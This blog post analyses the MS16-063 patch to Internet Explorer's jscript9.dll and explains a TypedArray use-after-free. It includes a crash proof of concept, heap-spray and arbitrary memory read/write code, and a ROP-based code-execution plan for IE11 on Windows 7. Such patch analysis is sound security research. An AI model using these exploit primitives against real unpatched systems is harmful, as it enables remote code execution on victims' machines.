A couple weeks ago, Microsoft released the MS16-063 security bulletin for their monthly Patch Tuesday (June 2016) security updates. It addressed vulnerabilities that affected Internet Explorer. Among other things, the patch fixes a memory corruption vulnerability in jscript9.dll related to TypedArray and DataView.

As with our previous blog post, we are going to analyze the patch, figure out the vulnerability, and construct a proof-of-concept exploit.

Patched vs Unpatched

We begin with comparing the May and June versions of jscript9.dll in BinDiff:

Unlike last time, there are many changes to the binary. But if we take a closer look, most of them are related to DirectGetItem and DirectSetItem functions for various types of TypedArray classes. We also see some changes in GetValue and SetValue functions for the DataView class.

TypedArray & DataView

You can read more about TypedArray here, but it provides a mechanism for accessing raw binary data that is backed by an ArrayBuffer. An ArrayBuffer cannot be accessed or manipulated directly, but only through a higher-level interface called a view. A view provides a context that includes its type, offset, and number of elements.

With DataView, we get flexibility in terms of reading and writing arbitrary data in arbitrary byte-order (endianness).

With TypedArray, as its name suggests, we can specify the data type of the array elements to one of the following:

  • Int8Array: signed 8-bit integer
  • Uint8Array: unsigned 8-bit integer
  • Uint8ClampedArray: unsigned 8-bit clamped integer (clamps to either 0 or 255)
  • Int16Array: signed 16-bit integer
  • Uint16Array: unsigned 16-bit integer
  • Int32Array: signed 32-bit integer
  • Uint32Array: unsigned 32-bit integer
  • Float32Array: 32-bit IEEE floating point number (float)
  • Float64Array: 64-bit IEEE floating point number (double)

TypedArray and DataView are similar in some sense that both views allow us to access or manipulate the raw data. So, what did the patch change in these functions?

Analysis

It is easy to see that some code was added (red basic blocks).

June vs. May

Before the patch, DirectGetItem and DirectSetItem for each typed array simply check the index is in bounds and then accesses the buffer.

GetDirectItem (May)

In pseudo-code, it looks like the following:

1
2
3
4
5
6
7
8
9
10
11
inline Var DirectGetItem(__in uint32 index)
{
    if (index < GetLength())
    {
        TypeName* typedBuffer = (TypeName*)buffer;
        return JavascriptNumber::ToVar(
            typedBuffer[index], GetScriptContext()
        );
    }
    return GetLibrary()->GetUndefined();
}

Note that there is no check on the buffer itself. Therefore, the buffer could be detached before accessing/manipulating, causing a Use-After-Free vulnerability.

We can force an ArrayBuffer to become detached by transferring it using postMessage. The snippet below is sufficient to detach an ArrayBuffer referenced by ab:

1
2
3
function detach(ab) {
    postMessage("", "*", [ab]);
}

The code that was added to the modified functions checks to make sure the buffer is not detached, which prevents the Use-After-Free.

GetDirectItem (June)

Fun fact is that this vulnerability was already patched (likely during refactoring) in ChakraCore since the initial commit (Jan, 2016) of the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/TypedArray.h#L238

inline Var BaseTypedDirectGetItem(__in uint32 index)
{
    if (this->IsDetachedBuffer()) // 9.4.5.8 IntegerIndexedElementGet
    {
        JavascriptError::ThrowTypeError(GetScriptContext(), JSERR_DetachedTypedArray);
    }

    if (index < GetLength())
    {
        Assert((index + 1)* sizeof(TypeName)+GetByteOffset() <= GetArrayBuffer()->GetByteLength());
        TypeName* typedBuffer = (TypeName*)buffer;
         return JavascriptNumber::ToVar(typedBuffer[index], GetScriptContext());
    }
    return GetLibrary()->GetUndefined();
}

After this latest path, jscript9 also has check for a detached buffer in both DataView and TypedArray.

Trigger PoC

Triggering the bug is quite simple:

  1. Create a TypedArray – we can choose any type, but we’ll use Int8Array here.
  2. Detach the ArrayBuffer that is backing the Int8Array from step 1 – this frees the buffer.
  3. Access free’d buffer by getting or setting items using Int8Array view.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
  <body>
    <script>
      function pwn() {
        var ab = new ArrayBuffer(1000 * 1024);
        var ia = new Int8Array(ab);
        detach(ab);
        setTimeout(main, 50, ia);

        function detach(ab) {
          postMessage("", "*", [ab]);
        }

        function main(ia) {
          ia[100] = 0x41414141;
        }
      }
      setTimeout(pwn, 50);
    </script>
  </body>
</html>

Yay, crash!

Specifically, with our example, it crashes while trying to write data at FREE memory (i.e. ia[100] now points to FREE memory). For a successful exploit, we want to allocate objects that we create and control their metadata to give us more powerful primitives: aribtrary memory read and write.

Exploit

In this blog post, we are going to test and develop our exploit on Windows 7. Specifically, we will target the Internet Explorer 11 on Windows 7 from modern.ie – because the image they give out doesn’t have this update, it is still vulnerable.

As shown in the PoC code, we first allocate an ArrayBuffer object that will back the Int8Array. We allocate a large ArrayBuffer (~2MB) so that the memory will be returned to the OS once it is freed. For this exploitation method, the exact size is not important.

1
2
var ab = new ArrayBuffer(2123 * 1024);
var ia = new Int8Array(ab);

Once we detach the buffer and trigger the memory collector, which frees the allocated memory via VirtualFree, we fill in that space by allocating a lot of smaller objects that we want to modify.

1
2
3
4
5
6
var ab2 = new ArrayBuffer(0x1337);
function sprayHeap() {
  for (var i = 0; i < 100000; i++) {
    arr[i] = new Uint8Array(ab2);
  }
}

This triggers the LFH for the size class for sizeof(Uint8Array), and several blocks of memory will be allocated for the LFH. The memory will be allocated through VirtualAlloc and this likely returns the memory we just free’d by detaching the large buffer.

We can see this in action using VMMap:

1. Before ArrayBuffer allocation2. After ArrayBuffer allocation (2124 KB)

3. After detaching the buffer4. After allocating Uint8Arrays (LFH)

We now need to locate one of the Uint8Array object we have created. Since the Uint8Array class has a 4-byte length member, we search for the length we specified for ab2 (0x1337). Once found, we increment the length and find the corresponding array index in arr.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++)
{
  if (ia[i] === undefined)
    return;
}

ia[i]++;
lengthIdx = i;

try {
  for (var i = 0; arr[i].length != 0x1338; i++);
} catch (e) {
  return;
}

mv = arr[i];

We assign this particular Uint8Array object to a separate variable (mv) that we will be using as a memory view for reading and writing arbitrary memory. Note that it is trivial to get the addresses of the buffer and vftable (for Uint8Array) as well:

1
2
3
4
5
6
function ub(sb) {
  return (sb < 0) ? sb + 0x100 : sb;
}

var bufaddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24;
var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24;

As usual, we write simple helper functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function setAddress(addr) {
  ia[lengthIdx + 4] = addr & 0xFF;
  ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF;
  ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF;
  ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF;
}

function readN(addr, n) {
  if (n != 4 && n != 8)
    return 0;
  setAddress(addr);
  var ret = 0;
  for (var i = 0; i < n; i++)
    ret |= (mv[i] << (i * 8))
  return ret;
}

function writeN(addr, val, n) {
  if (n != 2 && n != 4 && n != 8)
    return;
  setAddress(addr);
  for (var i = 0; i < n; i++)
    mv[i] = (val >> (i * 8)) & 0xFF
}

Okay. Now what?

There are many avenues from here and it depends on the target environment, so we will describe one possible way to get arbitrary code execution on our target (Win7 IE11). Our attack plan is the following:

  1. Calculate the base address of jscript9 from vftable address we leaked.
  2. Construct a fake virtual function table in our heap buffer.
    • We replace the pointer to Subarray with the address to a stack-pivot gadget
    • mov esp, ebx; pop ebx; ret
    • Note: ebx is the first argument we provide to subarray
  3. Read VirtualProtect entry in import table.
  4. Construct a ROP payload that calls VirtualProtect on our shellcode buffer.
  5. Overwrite the vftable address of mv (Uint8Array object) with our fake one.
  6. Call mv.subarray for profit!

The shellcode in the exploit just spawns notepad.exe.

Obviously, the process that we spawn is running as Low Integrity and needs to escape the sandbox with a separate vulnerability. We will not discuss it here, since it is out of scope of this blog post. Additional issues that we won’t address are: cleaning up after the exploit to prevent IE from crashing, and improving reliability of the heap allocations.

You can find our final exploit code in our GitHub repo: https://github.com/theori-io/jscript9-typedarray

If you have some experience with the modern browser exploitation, you’ll realize that this attack method does not work on Windows 8.1 and beyond due to the introduction of Control Flow Guard (CFG). This is because the CFG validates indirect calls (such as virtual functions).

In the next blog post, we will talk about a method to bypass CFG and demonstrate it using the same vulnerability we have played with today.

Thanks for reading!

Comments